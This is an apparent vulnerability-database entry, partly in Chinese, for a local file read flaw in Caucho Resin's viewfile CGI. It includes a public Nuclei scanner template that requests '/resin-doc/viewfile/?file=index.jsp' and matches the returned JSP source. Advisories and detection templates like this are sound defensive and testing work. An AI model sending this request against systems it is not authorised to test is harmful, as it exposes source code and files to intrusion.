resin-viewfile-lfr: Caucho Resin LFR

日期: 2025-08-01 | 影响软件: Caucho Resin | POC: 已公开

漏洞描述

There is an input verification vulnerability in the implementation of a certain CGI program in Resin. A remote attacker may use this vulnerability to read any files in the home directory of the Web, including JSP source code or class files.

PoC代码[已公开]

id: resin-viewfile-lfr

info:
  name: Caucho Resin LFR
  author: princechaddha
  severity: high
  description: There is an input verification vulnerability in the implementation of a certain CGI program in Resin. A remote attacker may use this vulnerability to read any files in the home directory of the Web, including JSP source code or class files.
  reference:
    - http://0day5.com/archives/1173/
    - https://www.cnvd.org.cn/flaw/show/CNVD-2006-3205
  metadata:
    max-request: 1
  tags: resin,caucho,lfr

http:
  - method: GET
    path:
      - "{{BaseURL}}/resin-doc/viewfile/?file=index.jsp"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %"
        part: body
# digest: 490a004630440220102acda33b86c546c17094469ba1c28eca5c7fb703ed06ca22ed039e656dafb2022071b742cca4c939d7050d3a48f83e3c50b2344d637dcc2268710f4591cb472529:922c64590222798bb761d5b6d8e72950

相关漏洞推荐